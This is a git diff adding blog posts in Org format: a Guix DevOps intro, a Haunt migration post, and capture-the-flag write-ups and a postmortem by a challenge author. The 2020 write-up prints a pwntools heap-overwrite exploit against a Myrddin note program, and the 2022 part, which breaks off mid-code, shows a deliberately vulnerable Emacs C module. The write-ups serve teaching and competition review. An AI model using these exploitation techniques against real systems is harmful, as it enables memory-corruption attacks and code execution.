b/haunt/posts/towards-guix-for-devops.org @@ -0,0 +1,8 @@ +#+TITLE: Towards Guix for DevOps +#+DATE: <2019-07-13 Sat 16:11> +#+TAGS: writeup programming functional-programming linux guix lisp scheme guile +#+CROSSPOST: https://www.gnu.org/software/guix/blog/2019/towards-guix-for-devops/ + +Hey, there! I'm Jakob, a Google Summer of Code intern and new contributor to +Guix. Since May, I've been working on a DevOps automation tool for the Guix +System, which we've been calling guix deploy. diff --git a/haunt/posts/transition-to-haunt.org b/haunt/posts/transition-to-haunt.org new file mode 100644 index 0000000..6dc2fac --- /dev/null +++ b/haunt/posts/transition-to-haunt.org @@ -0,0 +1,70 @@ +#+TITLE: Transitioning to Haunt +#+DATE: <2019-05-04 Sat 00:00> +#+TAGS: writeup programming lisp scheme emacs emacs-lisp + +Rather than study for finals this week, I spent my time moving this blog over to +[[https://dthompson.us/projects/haunt.html][Haunt]]. Previously, I was using Hugo, and while [[https://ox-hugo.scripter.co/][ox-hugo]] made the authoring +workflow tolerable, doing anything on the rendering side of things was unsavory +at best. I eventually had enough and decided to look for another solution, of +which Haunt was the most enticing. + +I should probably begin by thanking [[https://dthompson.us/][David Thompson]], not only for his work on +Haunt, but also because he made the [[https://git.dthompson.us/blog.git][source code for his Haunt blog]] available. +I'm sure our similar stylesheets is enough of a hint that I used his blog as a +starting point. In hopes that it may be useful to someone else, I have also +chosen to make my Haunt configuration and Org sources available [[https://git.sr.ht/~jakob/blog][here]]. + +On the topic of Org sources, my chief concern with transitioning away from Hugo +was the possibility of losing my ability to author posts in =org-mode=. After all, +"Org" is not among the available readers in the upstream Haunt repository. I +handled this by taking the same approach as =ox-hugo=: writing an Org Export +backend. I call it [[https://git.sr.ht/~jakob/ox-haunt][ox-haunt]], and it really doesn't do much. It piggybacks on +=ox-html= and Haunt's =html-reader=, filling in the metadata section according to +whatever Org keywords it finds. I've also tried to keep it relatively +unopinionated, leaving the output of =ox-html= generally unaltered -- if you don't +like the gross old-school XHTML, set =org-html-doctype=. Do note, though, that +=xml->sxml= can't read implicitly self-closing tags like =img=. So make sure you set +it to ="xhtml5"= and not ="html5"=. + +If you do end up using =ox-haunt=, you'll need to use a slightly modified +=html-reader= for versions <= 0.2.4: + +#+BEGIN_SRC scheme +(define (read-html-post port) + (values (read-metadata-headers port) + (let loop ((ret '())) + (catch 'parser-error + (lambda () + (match (xml->sxml port) + (('*TOP* sxml) (loop (cons sxml ret))))) + (lambda (key . parameters) + (reverse ret)))))) + +(define html-reader + (make-reader (make-file-extension-matcher "html") + (cut call-with-input-file <> read-html-post))) +#+END_SRC + +The =html-reader= included in those versions can't read more than one top-level +element. I've submitted a patch, but as of the time of writing this, it hasn't +made its way into the upstream repository. + +Also, see that beautiful syntax highlighting? One of the benefits of using +=ox-html= as a base was =htmlize=. I've even been able to tailor the colors to my +Emacs theme. + +Oh, one last point. I've dropped the header images for my posts. I was using +them in hopes of emulating the look of [[https://dolphin-emu.org/blog/][Dolphin Emulator's blog]] and [[https://aixxe.net/][aixxe]], but I +really don't think I was able to do the technique justice. + +#+BEGIN_EXPORT html +
+ +
+#+END_EXPORT + +Overall, I'm happy with that choice of static site generator. Compared with +Hugo, Haunt is far simpler and easier to hack on. Honestly, who cares if I'm +using the "world's fastest framework for building websites"? =haunt build= still +finishes in under a second. And despite describing myself as a Common Lisp-er, +I've been having a blast using Guile Scheme for this. diff --git a/haunt/posts/umass-ctf-2020-writeup.org b/haunt/posts/umass-ctf-2020-writeup.org new file mode 100644 index 0000000..f98f33a --- /dev/null +++ b/haunt/posts/umass-ctf-2020-writeup.org @@ -0,0 +1,285 @@ +#+TITLE: UMass CTF 2020 - suckless Writeup +#+DATE: <2020-12-13 Sun 18:16> +#+TAGS: writeup capture-the-flag security binary-exploitation myrddin + +Well, this is certainly overdue. It's the writeup for a challenge I authored for +this year's UMass CTF, which ran from /October 5th to October 12th/. Yes, I'm +late. But when you attend a university that tried very hard to squeeze the +[[https://www.umass.edu/coronavirus/news/umass-amherst-announces-fall-2020-reopening-plan-under-extensive-public-health-and-behavioral][entire semester twelve weeks]], you're going to deal with burnout and not nearly +enough time to do things outside of your coursework. So I'm finally coming back +to the challenge now that the semester's ended. + +# TODO: Link to other writeups. + +suckless was released on the 9th, and no one solved it. The challenge revolved +around a program, =sldiary=, which allowed the user to create "notes" which would +be saved to memory and could be recalled later. It was written in Myrddin, which +I [[http://jakob.space/blog/first-impressions-of-the-myrddin-programming-language.html][wrote about]] earlier this year. The source code for the program was provided +with the challenge, and is listed below. + +#+BEGIN_SRC myrddin +use std + +var flag = "You neet to hit the server for flag" +var version = "sldiary 0.1.1" +var versionptr + +const intro = { + versionptr = &version + std.put("(\\ \n") + std.put("\\'\\ \n") + std.put(" \\'\\ __________ \n") + std.put(" / '| ()_________)\n") + std.put(" \\ '/ \\ ~~~~~~~~ \\ {}\n", version) + std.put(" \\ \\ ~~~~~~ \\\n") + std.put(" ==). \\__________\\\n") + std.put(" (__) ()__________)\n") + std.put("\n") + std.put("type 'help' for available commands\n") +} + +const showver = { + var tmp = flag + std.put("this is {}\n", versionptr#) +} + +const addmsg = {n, buf -> byte# + var i + var msg = std.bytealloc(n) + for i = 0; buf[i] != ('\n' : byte); i++; + (((msg : std.size) + i) : byte#)# = buf[i] + ;; + -> msg +} + +const msgstrconv = {n, msg + var i + var sb = std.mksb() + for i = 0; i < n; i++ + std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char)) + ;; + -> std.sbfin(sb) +} + +const getln = { + var sb = std.mksb() + var buf = std.slalloc(0x40) + match std.read(std.In, buf) + | `std.Ok(n): + | `std.Err(n): std.die("i/o error") + ;; + std.sbputs(sb, buf) + -> std.sbfin(sb) +} + +const main = { + intro() + var notes = std.slalloc(0) + + var line + while true + std.put("> ") + line = getln() + if std.strhas(line, "help") + std.put("help: print this\n") + std.put("new: make a new note\n") + std.put("show: show all of your notes\n") + std.put("version: show the version of sldiary\n") + elif std.strhas(line, "new") + std.put("note length: ") + std.slfree(line) + line = getln() + var len + match std.strfind(line, "\n") + | `std.Some(n): line = line[:n] + | `std.None: + ;; + match std.intparse(line) + | `std.Some(n): len = n + | `std.None: std.put("invalid length\n"); continue + ;; + std.put("note: ") + std.slfree(line) + line = getln() + var msg = addmsg(len, line) + notes = std.slpush(¬es, (len, msg)) + elif std.strhas(line, "show") + var i + for i = 0; i < notes.len; i++; + var len, msg + (len, msg) = notes[i] + std.put("address: {}\n", (msg : byte#)) + std.put("{}: {}\n", i, msgstrconv((len : uint64), msg)) + ;; + elif std.strhas(line, "version") + showver() + else + std.put("invalid command\n") + ;; + std.slfree(line) + ;; + + std.slfree(notes) +} +#+END_SRC + +Even without being familiar with Myrddin, asking for the length of the note +before reading it in is suspicious. And, indeed, this is where the vulnerability +lies. The program reads in =len= ("note length") and =msg= ("note"), and calls +=addmsg(len, line)=, which obtains a chunk of memory as =std.bytealloc(len)= (where +=std.bytealloc= is effectively equivalent to =malloc (3)=), and fills it with the +contents of =msg= up to the first occurrence of '\n' -- the line feed character, +which indicates the end of what the user typed into the program. + +So, we can corrupt the heap, but now what? + +The caveat to this challenge was that the attacker would be corrupting a Myrddin +heap, not i.e. a glibc heap. So if you were going to solve this challenge, you +would need to have needed to read the source code for the Myrddin standard +library. Fortunately, this is rather easy to navigate, and =std.alloc= is written +in pure Myrddin. + +For those playing along at home, the source code for Myrddin is found [[https://git.eigenstate.org/ori/mc.git][here]], and +the source code for =std.bytealloc= is contained in ~lib/std/bytealloc.myr~. + +#+BEGIN_SRC myrddin +/* Allocates a blob that is 'sz' bytes long. Dies if the allocation fails */ +const bytealloc = {sz + var bkt, p + + if sz <= Bktmax + bkt = &buckets[bktnum(sz)] + lock(memlck) + p = bktalloc(bkt) + unlock(memlck) + else + p = bigalloc(sz) + ;; + if trace + lock(memlck) + tracealloc(p, sz) + unlock(memlck) + ;; + -> p +} +#+END_SRC + +Where the memory format of =slab= is + +#+BEGIN_SRC myrddin +type slab = struct + head : byte# /* head of virtual addresses, so we don't leak address space */ + next : slab# /* the next slab on the chain */ + prev : slab# /* the prev slab on the chain */ + freehd : chunk# /* the nodes we're allocating */ + nfree : size /* the number of free nodes */ + magic : size /* ensure we didn't index into the void */ +;; +#+END_SRC + +and the source for =bktalloc= is + +#+BEGIN_SRC myrddin +/* +Allocates a node from bucket 'bkt', crashing if the +allocation cannot be satisfied. Will create a new slab +if there are no slabs on the freelist. +,*/ +const bktalloc = {bkt + var s, c + + /* find a slab */ + s = bkt.slabs + if s == Zslab + s = mkslab(bkt) + bkt.slabs = s + if s == Zslab + die("No memory left") + ;; + ;; + + /* grab the first chunk on the slab */ + c = s.freehd + s.freehd = c.next + s.nfree-- + if s.freehd == Zchunk + bkt.slabs = s.next + if s.next != Zslab + s.next.prev = Zslab + ;; + ;; + -> (c : byte#) +} +#+END_SRC + +Below the comment reading 'grab the first chunk on the slab' is code to unlink +the head of a linked list (=freehd=). When a *slab* of memory is allocated, its +space is divided into *chunks*. Each chunk is initially a pointer to the next +chunk. When we take a chunk to satisfy an allocation request, that pointer (and +the space after it) is overwritten with user data, and the slab's "next free +chunk" (=freehd=) is updated to point at whatever the =cdr=[fn:1] of that chunk was. +It's a pretty simple heap format. + +#+CAPTION: Diagram showing showing three "free" chunks surrounding one containing user data. +[[./MyrddinHeap.svg]] + +Thus, when we can overwrite the =cdr= pointer, we have a write-anything-anywhere +primitive. So, why not overwrite the unusually suspect =versionptr= used in +=showver=? + +#+BEGIN_SRC myrddin +const showver = { + var tmp = flag + std.put("this is {}\n", versionptr#) +} +#+END_SRC + +If we overwrite =versionptr= to point to =flag=, we can dump the flag. So that's +exactly what we'll do. + +#+BEGIN_SRC python +import struct + +from pwn import * +context(arch="x86_64", os="linux") + +VERSIONPTR_ADDR = 0x0042e850 +FLAG_ADDR = 0x42a048 + +p = process(["./suckless"], False, "./suckless") + +# Allocate first chunk. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline((b"A" * 16) + struct.pack("Q", VERSIONPTR_ADDR)) +p.recvuntil("> ") +p.sendline("show") +p.recvuntil("address: ") +dbg = int(p.recvline(), 16) + +# Allocate dummy chunk. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline((b"B" * 8)) +p.recvuntil("> ") +p.sendline("show") + +# Overwrite versionptr. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline(struct.pack("Q", FLAG_ADDR)) +p.recvuntil("> ") +p.sendline("version") +print(p.recvuntil("> ")) +#+END_SRC + +[fn:1] Or =next= if you're some sort of filthy C programmer. diff --git a/haunt/posts/umass-ctf-2021-postmortem.org b/haunt/posts/umass-ctf-2021-postmortem.org new file mode 100644 index 0000000..2bc284c --- /dev/null +++ b/haunt/posts/umass-ctf-2021-postmortem.org @@ -0,0 +1,342 @@ +#+TITLE: UMass CTF 2021 Postmortem +#+DATE: <2021-04-19 Mon 10:24> +#+TAGS: writeup capture-the-flag + +This was the first year our capture-the-flag event, [[https://ctftime.org/event/1282][UMass CTF 2021]], was open to +the public. The competition started Friday, March 26th at 18:00 EDT, and ended +Sunday, March 8th at the same time. By the end of the competition, we had *1991 +registered users*, belonging to *1160 registered teams*. No teams were tied, we had +just one unsolved challenge, and each of the "harder" challenges had just one or +two solves. + +In this post, I will be reflecting on what we did well, and how we intend to +improve for next year's UMass CTF. + +But, before I begin, I realize that some may not know *what a capture-the-flag +(CTF) is*. If you need an explanation, I will direct you to [[https://dev.to/atan/what-is-ctf-and-how-to-get-started-3f04][this article]]. + +A huge thank you to the rest of the [[https://umasscybersec.org/][UMass Cybersecurity Club]], especially those +on infrastructure who worked around the clock to help me fix challenges. Thank +you to my beautiful, loving partner, who helped me come up with the names and +flags for quite a few challenges. Thank you to my loving parents, who hosted me +while I worked on this, my degree, and my research. Thank you to my best friend, +who made some challenges when I mentioned the competition to him. + +Table of Contents: + +- [[*Challenge Design][Challenge Design]] + - [[*replme (and replme2)][replme + replme2]] + - [[*babushka][babushka]] + - [[*chains][chains]] + - [[*scarymaze][scarymaze]] + - [[*stegtoy][stegtoy]] + - [[*warandpieces][warandpieces]] + - [[*suckless2][suckless2]] + - [[*easteregg][easteregg]] + - [[*lambda][lambda]] +- [[*Lessons Learned][Lessons Learned]] + - [[*Playtesting a Priority][Playtesting a Priority]] + - [[*Obvious Solutions Should Be Obvious][Obvious Solutions Should Be Obvious]] + - [[*Challenge Update Transparency][Challenge Update Transparency]] + - [[*Matchmaker][Matchmaker]] + +* Challenge Design + +I'll get one thing out of the way: writing challenges *will take much more time +than you're expecting it to*. I was asked to come up with ten or so challenges +about three months before we were supposed to go live. I thought I'd be able to +get them done over the course of a weekend before spring semester started. In +reality, I was working on challenges up to the day of. + +Below are some thoughts on the challenges I made, from what I would consider +"most interesting" to "least interesting". Nearly every challenge had something +go wrong with it. + +# At the time I began working on challenges, I hadn't played in a CTF in almost a +# year. I was working off a combination of old memories and vague ideas of +# situations I would expect to see in the real world. It's possible challenge +# creation would not have taken as much time had I been more active in the +# community at the time. + +# a handful of people mentioned that they enjoyed playing in our competition +# much more than in the [[https://ctftime.org/ctf/52][VolgaCTF qualifier]], which was running at the same time. + +** replme (and replme2) + +This was my favorite challenge. + +Writeups: +- [[https://anee.me/janet-v1-1-repl-sandbox-bypass-f8bbe141a4f1][Janet v1.1 REPL Sandbox Bypass]] (by [[https://twitter.com/lionaneesh][Aneesh Dogra]]) +- [[https://thegoonies.github.io/2021/03/28/umass-ctf-2021-replme/][UMass CTF 2021 - replme [pwn]​]] (by [[https://thegoonies.github.io/2021/03/28/umass-ctf-2021-replme/][TheGoonies]]) +- [[https://yichenchai.github.io/blog/umassctf-replme][UMassCTF'21 replme writeup]] (by [[https://yichenchai.github.io/blog/umassctf-replme][Chai Yi Chen]]) + +Older versions of the [[https://janet-lang.org/][Janet programming language]] had a vulnerable [[https://leonardschuetz.ch/blog/nan-boxing/][NaN boxing]] +implementation. An attacker capable of running arbitrary Janet code could write +specific bytes to a =float64= object, resulting in type confusion. + +The challenge presented itself as an [[https://replit.com/][online REPL]] for Janet[fn:1] that +blacklisted functions dealing with the filesystem. The blacklisting was done by +overwriting the functions with one that would error (i.e. =(defn os/shell [&] +(error ...=). The /intended/ solution was to use the NaN boxing vulnerability to +create a =cfunction= object that pointed at the original implementation. + +The reason there was a replme2 is that I didn't blacklist all of the relevant +functions. At least one team realized that they could call =(slurp "flag.txt")=. +This is something that [[*Playtesting a Priority][playtesting by the rest of the team]] likely would have +caught, but I'll save that for a later section. Sunday morning, I released a +fixed version. Some teams solved it instantly, indicating that they had either +found a different unintended solution, or that they had solved replme the +intended way. + +** babushka + +A Python bytecode crackme. The challenge was titled "babushka" because the +program is designed like a [[https://en.wikipedia.org/wiki/Matryoshka_doll][matryoshka doll]]. There is one entry point to a long +chain of functions, each one unpacking and calling the next in the chain. + +Each of these functions does some check on the input. All of them, except for +the fourteenth, have some check that involves a decoy flag, and some way of +combining the results of the checks further down. They are combined such that +only the output of one of the 500 functions is used. + +The intended solution was to write a script to extract all of the functions, and +look at the code for combining function outputs to see which mattered. You could +then manually reverse engineer that function to get the flag. + +The way the input is checked is about the same across all functions, so in +theory, one could write a script to extract the value the input is checked +against from all of the functions, and then try all 500 to see which one worked. + +I [[https://git.sr.ht/~jakob/umass-ctf-2021-challenge-writeups/tree/master/item/babushka/gen.py][programmatically generated]] and obfuscated the script that was given to teams. +This challenge was fairly unremarkable, besides there being no writeups, and +some people giving me flak because it didn't work on their version of Python. + +Oh well. I had a lot of fun making it. + +** chains + +Writeups: +- [[https://ctftime.org/writeup/26868][chains]] (by [[https://ctftime.org/user/48335][Chris Greene]]) +- [[https://scavengersecurity.com/posts/umass-chains/][UMassCTF 2021 - Chains [Reversing]​]] (by [[https://scavengersecurity.com/][Scavenger Security]]) +- [[https://github.com/1GN1tE/CTF_Writeups/tree/main/Writeups/UMassCTF_2021/Chains][Chains]] (by [[https://github.com/1GN1tE][Arijeet Mondal]]) + +This was an "optimizeme" challenge, one where the flag is generated by an +inefficient algorithm. To get the flag in a reasonable amount of time, one would +need to either patch the algorithm or reimplement it. + +Here, the characters of the flag were encoded as very large numbers, and the +program would, for each character, generate the entire [[https://en.wikipedia.org/wiki/Collatz_conjecture][Collatz sequence]] to see +where that number occurs. There were some pretty clever solutions, but the one I +used when I was playtesting was to memoize the Collatz function. + +Oh, and to make it less reasonable for someone to let the program run for the +duration of the competition, I compiled for AARCH64. I apologize to the handful +of people who were unable to get an ARM environment set up.[fn:3] + +** scarymaze + +This was my second favorite challenge, even though a lot went wrong with it. + +This was a networked maze game written in [[https://www.rust-lang.org/][Rust]], where the server would +spit out the flag after 500 mazes had been solved. I spent a lot of time on the +packet format and the renderer. + +#+CAPTION: Raycaster with "hacker terminal green" walls. +[[./umass-ctf-2021-postmortem-1.png]] + +Communications between the client and the server were encrypted. The algorithm +was AES-128-CBC with the key =STRINGS NOT HERE=.[fn:4] I made things slightly +easier by using OpenSSL for the AES implementation, and slightly harder by +linking statically. If I'd linked dynamically, it would have been trivial to run +the client with [[https://www.ltrace.org/][ltrace]]. Static linking should've helped somewhat, since the +OpenSSL =.a= includes a ton of informative strings, but no one came close to a +solution until I'd re-released the client binary with symbols. + +And then, in the last 30 minutes or so of the competition, two people had +scripts, but the server was crashing around 200 mazes in. I couldn't figure out +the bug in that short period of time, so I hastily re-deployed with a server +that would spit out the flag after 50 solves. It was stressful. + +Small lesson: networked games, where someone has to reimplement the protocol, +should be somewhat tolerant to errors. In this case, the server panicked and +closed the connection if there was /anything/ wrong with the header, which I'll +admit is bullshit. + +** stegtoy + +The idea of leaking memory through a visual medium is neat to me, so I made a +[[https://git.sr.ht/~jakob/umass-ctf-2021-challenge-writeups/tree/master/item/stegtoy/bmpencode.c][shitty]] BMP utility that encodes text into the least-significant bits of the +image data. Source code wasn't made available during the competition, as I find +leaking memory blindly to be more interesting. + +This seemed to make it a very difficult challenge. Only one team solved it, +which surprised me. BMP is [[https://github.com/corkami/pics/blob/master/binary/BMP.png][simple]] enough that there are only so many things one +could have tried. Anyway, the intended solution was to overwrite the "data +start" pointer in some BMP file so that the tool would leak the heap data +containing the flag. + +** warandpieces + +Writeups: +- [[https://ctftime.org/writeup/26805][War and Pieces]] (by [[https://ctftime.org/user/106112][legallybearded]]) +- [[https://ctftime.org/writeup/26803][War and Pieces]] (by [[https://ctftime.org/user/68391][ugotjelly]]) + +This wasn't one I had originally planned. I was in the grocery store one day and +saw a bag of toy army soldiers for $1.99. I bought them because that was one of +my favorite things to play with when I was younger. My mother, upon seeing them, +asked if I had gotten them for the CTF, which gave me the idea. + +The pieces came in 6 poses and 2 colors. I encoded the flag as hexadecimal, and +assigned each combination of pose/color/orientation to a hexadecimal nibble. In +retrospect, the challenge would've been more interesting had I treated the flag +as a natural number, and written it in base-12 using the piece alphabet. + +The flag was supposed to be =UMASS{lil_t0y_s0lj4s}=, but I made a mistake when +lining up the pieces: in the script I had made to help me line up the toys for +the picture, I had accidentally used the same color for two different digits. +Someone was kind enough to point it out, so we accepted the mangled flag +(=UMASS{lfl_t0v_s0lj4s}=). This wasn't a great decision, though, since you +wouldn't realistically be able to pull that out of list of guesses. I should +have just done the picture over again. + +I'm hoping that next time, I won't be working on challenges in the week before +the competition. Here, I had only playtested the first few steps because I was +so short on time, hence this mistake falling through the cracks. + +** suckless2 + +Writeups: +- [[https://drowsycat256.tistory.com/3][suckless2 writeup]] (by [[https://drowsycat256.tistory.com/][renia256]]) + +I have little to say. Someone asked if I could recycle some of my challenges +from last year, but I had already posted a [[http://jakob.space/blog/umass-ctf-2020-writeup.html][writeup]]. I ended up modifying the +challenge in a way that would render my exploit useless, and releasing that as a +challenge. It was meant to be easy. + +** easteregg + +Writeups: +- [[https://szymanski.ninja/en/ctfwriteups/2021/umassctf/easteregg/][UMassCTF'21: easteregg]] (by [[https://szymanski.ninja/en/about/][Łukasz Szymański]]) +- [[https://gitlab.com/hacklabor/ctf/writeup/-/blob/master/reverse/easteregg_umass21/easteregg_.md][easteregg]] (by [[https://hacklabor.de/][Th0m4sK]]) +- [[https://www.youtube.com/watch?v=l9zRBJJYTgg][Easteregg UMASS CTF 21]] (by [[https://twitter.com/hacklabor][Hacklabor]]) +- [[https://www.youtube.com/watch?v=Ao5r6ptvKGc][Engenharia reversa - UMass CTF'21 - 'Easteregg' Writeup]] (by [[https://twitter.com/m0v_ebp_esp][zapzap kkkkkkkkkkkkkkkkkkkkk '-']]) + +Like warandpieces, this was not a challenge I had originally planned to make. +One of the problem sets for the introduction to computer systems class this +semester involved reverse engineering an ELF binary. In an effort to appeal to +students who actually attend UMass, I was asked to make an easy reverse +engineering challenge in the same vain. + +I took that class two years ago, and I still had the programs I'd written for +it, so I took one of them (a text adventure game), added an "easter egg" that +you would need to reverse engineer the executable to find, and uploaded it. + +This was one of the most solved challenges. + +** lambda + +Next year, no more compiled Haskell. + +I spent a lot of time on a cool sine scroller with one of my [[https://www.youtube.com/watch?v=gMTyMetv5Sk][favorite mod files]] +playing in the background. + +#+CAPTION: The dreaded 'lambda' challenge. +[[./umass-ctf-2021-postmortem-2.png]] + +And then I made the mistake of writing the key check algorithm in Haskell. This +is a reminder that there's a fine line between "possible" and "reasonable". No +one solved this. + +When I'm done with school in two weeks, I'll give this my all, and give it a +proper write-up. + +* Lessons Learned + +Now, I'll share some specific morsels of wisdom that came to me after this very +stressful weekend. + +** Playtesting a Priority + +This might be seem obvious, but please humor me. + +I made an effort to go through all of my challenges to see that they were +reasonable, and I suspect this was the case for the rest of the team as well. It +was better than nothing, but we could have done better in a couple of ways. I'll +use three challenges as examples: [[*replme (and replme2)]['replme']] and [[*warandpieces]['warandpieces']], challenges I had +created, and 'pikcha', made by Steven. + +The original [[*replme (and replme2)]["replme"]] was solvable by one function that wasn't blacklisted. I +think a less-experienced player would have come across it, and we do have a +handful of people on our team who are less familiar with the "pwn" category. + +When playtesting [[*warandpieces]["warandpieces"]], I only went through the first line or so. The +error doesn't show up until much later. If I had either solved it in full, or +had someone else playtest it, I would have caught the error. + +"pikcha" included the answer in the session. LOL. I think if I had playtested it +before we went live, I would have caught it. + +These issues could have been caught if /we playtested our peer's challenges/. + +This is what I have proposed to do next time: for every challenge, we choose two +other people to playtest it. That way, there are three (if you include the +challenge creator) pairs of eyes on the challenge. The only work on challenges +happening in the last month should be fixing issues that come up during +playtesting. Playtesters should also be tracking how much time they spend on +each challenge. + +** Obvious Solutions Should Be Obvious + +Often, a CTF will have an easy "entry" challenge that doesn't require any +solving. The flag might be given in the challenge description. In our case, it +was hidden /somewhere/ in the communication platform we used. As an idea, it looks +good on paper, but actually implementing the challenge was one of the biggest +mistakes we made. We had nearly a hundred people spamming some variation of +"/flag" or "!flag" into the chat, and a handful of people opening support +tickets because they thought the flag was supposed to be obtained by talking to +us. + +A few minutes in, someone made the following joke: + +#+BEGIN_SRC prog +: UMASS{WowIReallySuck...} +: !flag +: I actually hate myself... +: I found the flag. +#+END_SRC + +Besides 'UMASS{flag}', which is what we had in the message describing the flag +format, 'UMASS{WowIReallySuck...}' was the second most popular incorrect answer +for this challenge. + +It was a mess. No more challenges like this.[fn:2] + +** Challenge Update Transparency + +When challenges went down, or were modified, announcements went through our +communication platform. Not everyone saw those announcements, and some teams had +an unfair advantage by getting both broken and fixed versions of the same +challenge. + +Next year, announcements will occur on the CTF platform as well. And hopefully, +with our commitment to playtesting, we will not need to fix any challenges after +going live, but we will ensure the old versions are still available if we do. + +** Matchmaker + +Some people seemed to still be looking for teams in the week leading up to the +competition, so I put together a little form where people would enter their +experience, timezone, etc. + +It was a good idea, but I think only about one team came about from this, since +a lot of people either put bad contact information or flaked. + +Next year, the matchmaking form will be available at the time we announce the +competition, and the matchmaking process will be partially automated. + +--- + +[fn:1] It isn't really a REPL. Just a =textarea= for a Janet script, and a button that runs it, showing the output in a different =textarea=. +[fn:2] I honestly didn't like the idea in the first place, because I hate Discord and don't want to feel as though I'm forcing people to use it if they don't already. But I digress... +[fn:3] Someone mentioned being on mobile data, and that QEMU would have been prohibitively large for his plan. I felt terrible. +[fn:4] Surprisingly, nobody asked me about this. I thought this would have been a dead giveaway. diff --git a/haunt/posts/umass-ctf-2022.org b/haunt/posts/umass-ctf-2022.org new file mode 100644 index 0000000..61576c6 --- /dev/null +++ b/haunt/posts/umass-ctf-2022.org @@ -0,0 +1,467 @@ +#+TITLE: ret2emacs +#+TAGS: writeup capture-the-flag emacs binary-exploitation heap-feng-shui +#+DATE: <2022-04-14 Thu 21:44> + +It's that time of year again where I take some time to reflect on [[https://ctftime.org/event/1561][UMass CTF]]. +This is going to be shorter than last year's. I put out eight challenges, and +I'm only going to be writing about one of them. Code, documentation, and +write-ups for the others are available [[https://github.com/UMassCybersecurity/UMassCTF-2022-challenges][here]]. + +* Use-After-Free in an Emacs Module + +=ret2emacs= was among our three unsolved challenges, and it had a disappointingly +low volume of discussion over the weekend. That hurt, since it's the challenge I +was most proud of, but someone asked for solution details post-competition so +I'm given a reason to acknowledge that I made it. + +** Background + +Emacs might seem to be an unusual choice of target for a capture-the-flag +challenge since it's "just" a text editor. However, there's a little-known +package called [[http://rudel.sourceforge.net/][Rudel]] which enables collaborative editing over the network. The +premise for the challenge was that you'd connect to a Rudel server where there +was a bot watching =*scratch*=,[fn:1] and you had to insert some text that would +trigger remote-code execution. + +I didn't hoard any 0days for this competition. The intended solution was to +attack a vulnerable [[https://www.gnu.org/software/emacs/manual/html_node/elisp/Dynamic-Modules.html][Emacs dynamic module]] that was loaded in the bot's Emacs +session. + +For the uninitiated, Emacs is extensible in a few ways. The primary mechanism +for doing so is to use Emacs Lisp (Elisp), which is an interpreted[fn:2] +scripting language. Emacs also has the capability to interoperate with native +code in shared libraries, which we call "dynamic modules." Elisp can call into +the code of dynamic modules and vice versa. It's similar to the FFI situation in +most other scripting languages. + +The following is the (admittedly quite bad) Elisp code running on the bot's end. +This is not the vulnerable part, but the background may be helpful in +understanding the challenge. + +#+BEGIN_SRC elisp +(defvar sixplayground-overlays '()) + +(defun sixplayground-make-overlay (start end data-or-function) + (let* ((overlay (make-overlay (car match) (cadr match))) + (data (if (stringp data-or-function) + data-or-function + (funcall data-or-function)))) + (overlay-put overlay 'display (create-image data 'pbm t)) + (push overlay sixplayground-overlays))) + +(defun sixplayground-parse () + (save-excursion + (set-buffer (get-buffer "*scratch*")) + (dolist (overlay sixplayground-overlays) + (delete-overlay overlay)) + (setq sixplayground-overlays '()) + (dolist (match (matches-in-buffer "\x1bP0;0;0q.*?\x1b\\\\")) + (sixplayground-make-overlay (car match) (cdr match) + (sixel-decode-string (buffer-substring (car match) (cadr match))))))) + +(defun matches-in-buffer (regexp &optional buffer) + "return a list of matches of REGEXP in BUFFER or the current buffer if not given." + (let ((matches)) + (save-match-data + (save-excursion + (with-current-buffer (or buffer (current-buffer)) + (save-restriction + (widen) + (goto-char 1) + (while (search-forward-regexp regexp nil t 1) + (push (list (match-beginning 0) (match-end 0)) matches))))) + (reverse matches)))) + +(defun sixplayground-on-post-command (&rest args) + (when (buffer-modified-p (get-buffer "*scratch*")) + (sixplayground-parse) + (set-buffer-modified-p nil))) +#+END_SRC + +Here's a summary of what's going on: =sixplayground-on-post-command= is like a +callback -- it's called every time the buffer is edited. It's a wrapper around +=sixplayground-parse=, which iterates over all substrings in the buffer that look +like a series of [[https://en.wikipedia.org/wiki/Sixel][Sixel commands]] and converts them to "overlays", which are +images that can be displayed in the editor's text area. The part that actually +converts these substrings to image data is =sixel-decode-string=. + +#+CAPTION: Example of an overlay in Emacs. +[[./ret2emacs-overlay-demo.png]] + +The song and dance of FFI initialization is omitted for brevity, but +=sixel-decode-string= is implemented as the following C function. It returns an +Emacs string. + +#+BEGIN_SRC c +struct hash { + uint32_t h0, h1, h2, h3; +}; + +#define CACHESZ 8 +static struct hash cache_identifiers[CACHESZ]; +static struct emacs_value_tag *cache[CACHESZ]; +static int inuse[CACHESZ]; + +emacs_value decode_sixel(emacs_env *ENV, ptrdiff_t + NARGS, emacs_value *ARGS, void *DATA) +{ + assert(NARGS == 1); + + int pwidth, pheight, ncolors; + unsigned char *palette; + unsigned char *pixels; + + unsigned char *buf; + ptrdiff_t len; + if (!ENV->copy_string_contents(ENV, ARGS[0], NULL, &len)) { + panic(ENV, "Failed to retrieve string length."); + } + if ((buf = malloc(len)) == NULL) { + panic(ENV, "Failed to allocate buffer."); + } + if (!ENV->copy_string_contents(ENV, ARGS[0], (char *) buf, &len)) { + panic(ENV, "Failed to retrieve string."); + } + + md5(buf, len); + for (int i = 0; i < CACHESZ; i++) { + if (cache_identifiers[i].h0 == h0 && cache_identifiers[i].h1 == h1 && cache_identifiers[i].h2 == h2 && cache_identifiers[i].h3 == h3) { + return cache[i]; + } + } + + sixel_decode_raw(buf, len, &pixels, &pwidth, &pheight, &palette, &ncolors, allocator); + + ptrdiff_t output_len = 256 + 12 * (pwidth * pheight); + char *output, *cur; + if ((output = malloc(output_len)) == NULL) { + panic(ENV, "Failed to allocate buffer."); + } + + cur = output; + cur += sprintf(cur, "P3\n%d %d\n255\n", pwidth, pheight); + for (int i = 0; i < pheight * pwidth; i++) { + cur += sprintf(cur, "%d %d %d\n", + ,*(palette + pixels[i] * 3 + 0), + ,*(palette + pixels[i] * 3 + 1), + ,*(palette + pixels[i] * 3 + 2)); + } + + emacs_value ret = ENV->make_string(ENV, (char *) output, strlen(output)); + + int sentinel = 0; + for (int i = 0; i < CACHESZ; i++) { + if (!inuse[i]) { + sentinel = 1; + cache_identifiers[i].h0 = h0; + 